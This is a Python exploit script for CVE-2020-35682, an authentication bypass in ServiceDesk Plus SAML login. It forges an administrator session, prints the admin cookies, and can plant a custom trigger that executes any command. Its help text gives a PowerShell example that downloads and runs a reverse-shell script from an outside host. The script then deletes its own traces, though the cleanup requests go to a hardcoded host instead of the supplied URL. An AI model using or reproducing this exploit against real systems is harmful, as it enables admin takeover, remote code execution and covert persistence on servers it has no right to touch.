#!/usr/bin/python3 import requests, random, json, string, urllib3, urllib, argparse, re from lxml import html from urllib.parse import urlencode #Disable SSL warning urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) session = requests.session() proxies = {} parser = argparse.ArgumentParser(description='CVE-2020-35682 : Authentication Bypass Vulnerability during SAML login in ServiceDesk Plus') requiredNamed = parser.add_argument_group('required named arguments') requiredNamed.add_argument('-u', '--url', help='ServiceDesk Plus installation url, eg. https://tenet.local/sdp', required=True) requiredNamed.add_argument('-e', '--email', help='User E-mail for SAML Login, eg: chris@tenent.local', required=True) requiredNamed.add_argument('-p', '--password', help='User Password for SAML Login', required=True) requiredNamed.add_argument('-d', '--domain', help='Domain, eg: TENET', required=True) parser.add_argument('-x', '--payload', help='Payload to execute on target, eg: "powershell iex(iwr http://192.168.2.10:8080/reverseshell.ps1 -usebasicparsing)"') parser.add_argument('-a', '--adminusername', help='Admin Username, default: administrator', default='administrator') args = parser.parse_args() url = args.url username = args.email password = args.password domain = args.domain upayload = args.payload adminusername = args.adminusername #Get SamlRequestServlet uri, for some reason this breaks the script :( #response = requests.get(url+'/scripts/Login.js', proxies=proxies, verify=False, allow_redirects=False) #samlservlet = re.findall('loadSaml\(\)\n\{\n window\.location\.href="(.*?)";\n\}\n\n/\*',response.content.decode('utf-8'))[0] response = session.get(url+"/SamlRequestServlet", proxies=proxies, verify=False, allow_redirects=False) sdpsessionid = response.cookies['SDPSESSIONID'] adfslogin = response.headers['Location']+'&client-request-id=0' payload = 'UserName={}&Password={}&AuthMethod=FormsAuthentication'.format(username,password) response = session.post(adfslogin,data=payload, proxies=proxies, verify=False, allow_redirects=False) if b'Incorrect' in response.content: print('[-] Incorrect Username or Password supplied. Please try again with correct credentials.') exit() msisauthcookie = response.cookies['MSISAuth'] cookies = {'MSISAuth' : msisauthcookie} response = session.get(adfslogin,cookies=cookies, proxies=proxies, verify=False, allow_redirects=False) tree = html.fromstring(response.content) samltoken = list(set(tree.xpath("//input[@name='SAMLResponse']/@value")))[0] payload = {'SAMLResponse' : samltoken } cookies = {'SDPSESSIONID': sdpsessionid} response = session.post(url+'/SamlResponseServlet',data=payload, cookies=cookies, proxies=proxies, verify=False, allow_redirects=False) #Sometimes the sdpsessionid is changed so we make sure we are using updated cookie cookies = {'SDPSESSIONID': sdpsessionid} response = session.get(url+'/j_security_check?j_username={}&domain={}&j_password=dummy'.format(adminusername,domain), cookies=cookies, proxies=proxies, verify=False, allow_redirects=False) if b'Username or Password is incorrect' in response.content: print('[-] Couldn\'t create session as {}, admin username or domain value incorrect.'.format(adminusername)) tree = html.fromstring(response.content) dnames = list(set(tree.xpath("//select[@name='dname']/option"))) print('[+] Valid values for Domain Name:') for _ in range(len(dnames)-1): print('\t'+re.findall("", html.tostring(dnames[_]).decode("utf-8"))[0]) exit() print('[+] Created session as {}.'.format(adminusername)) response = session.get(url+'/HomePage.do', cookies=cookies, proxies=proxies, verify=False, allow_redirects=False) JSESSIONIDSSO = response.cookies['JSESSIONIDSSO'] PORTALID = response.cookies['PORTALID'] SDPSESSIONID = response.cookies['SDPSESSIONID'] cookies = {'JSESSIONIDSSO': JSESSIONIDSSO, 'PORTALID': PORTALID, 'SDPSESSIONID': SDPSESSIONID} print('[+] Use following cookies to login as {}'.format(adminusername)) print ("\t{:<30} {:<30}".format('=[COOKIE NAME]=', '=[COOKIE VALUE]=')) for cookiename, cookievalue in cookies.items(): print ("\t{:<30} {:<30}".format(cookiename, cookievalue)) if args.payload is not None: response = session.get(url+'/servlet/AJaxServlet?action=GetHeaderDetails', cookies=cookies, proxies=proxies, verify=False, allow_redirects=False) sdpcsrfcookie = response.cookies['sdpcsrfcookie'] cookies = {'JSESSIONIDSSO': JSESSIONIDSSO, 'PORTALID': PORTALID, 'SDPSESSIONID': SDPSESSIONID, 'sdpcsrfcookie': sdpcsrfcookie} headers = {"Connection": "close", "Content-Type": "application/x-www-form-urlencoded"} actionname = ''.join(random.choices(string.ascii_uppercase + string.digits, k = 16)) data = {"items": "{\"details\": [{\"name\": \""+actionname+"\", \"desc\": \"\", \"trigger\": \"1\", \"executiontime\": \"1\", \"cascade\": true}], \"criteria\": [{\"selcrit\": \"4\", \"selcon\": \"1\", \"comp\": \"and\", \"values\": \""+actionname+"\"}], \"action\": [{\"execute\": {\"exe_type\": \"script\", \"executor\": \""+upayload+"\"}, \"notification_details\": []}]}", "sdpcsrfparam": sdpcsrfcookie} session.post(url+"/RequestExternalAction.do?method=saveAutoAction&module=request", headers=headers, cookies=cookies, data=data, proxies=proxies, verify=False, allow_redirects=False) print('[+] Created custom trigger {}'.format(actionname)) data = {"onHoldSet1": '', "date1@@@1": '', "selectedStatus@@@1": '', "onHoldComments@@@1": '', "linkService": "null", "createServiceComment": "null", "linkWorkOrderId": "null", "requesterName_WO": "null", "reqChatType": "0", "requestChatId": '', "requestServiceId": '', "templateSite": '', "FROM": "INLINE", "field_override": "false", "deleteTasks": "true", "reqTemplate": "1", "deletePrevTempTasks": "null", "reqID": "1501", "reqName": "morty", "reqSearch": "1501", "requestType": "0", "status": "1", "modeID": "0", "level": "0", "group": "0", "technician": "0", "incidentService": "0", "emailCC": '', "priority": "0", "category": "0", "subCategory": "0", "item": "0", "title": actionname, "description": "
totally not malicious
", "MOD_IND": "WorkOrder", "FORMNAME": "WorkOrderForm", "resourcesInfo": '', "resourceModified": "false", "attachment": '', "resolution": '', "addWO": "addWO", "sdpcsrfparam": sdpcsrfcookie} response = session.post(url+"/WorkOrder.do", headers=headers, cookies=cookies, data=data, proxies=proxies, verify=False, allow_redirects=False) requestid = response.headers['Location'].split('&')[1].split('=')[1] print('[+] Created Request to trigger custom action {}'.format(actionname)) print('[+] Executed "{}" on "{}"'.format(upayload, url)) #cleanup here data = {"sdpcsrfparam": sdpcsrfcookie} session.post("https://servicedesk.gigantichosting.local:443/WorkOrder.do?woRequestMode=deleteWO&woID="+requestid, headers=headers, cookies=cookies, data=data, proxies=proxies, verify=False, allow_redirects=False) print('[+] Deleted Request {}'.format(actionname)) response = session.get("https://servicedesk.gigantichosting.local:443/RequestExternalAction.do?method=getAutoActionListView&module=request", headers=headers, cookies=cookies, proxies=proxies, verify=False, allow_redirects=False) triggersdata = json.loads(response.content) for _ in triggersdata['ACTIIONS']: if _['ACTION_NAME'] == actionname: actionid = _['ACTIONID'] break session.post("https://servicedesk.gigantichosting.local:443/RequestExternalAction.do?method=deleteAutoAction&module=request&action_id="+str(actionid), headers=headers, cookies=cookies, data=data, proxies=proxies, verify=False, allow_redirects=False) print('[+] Deleted Custom Action {}'.format(actionname))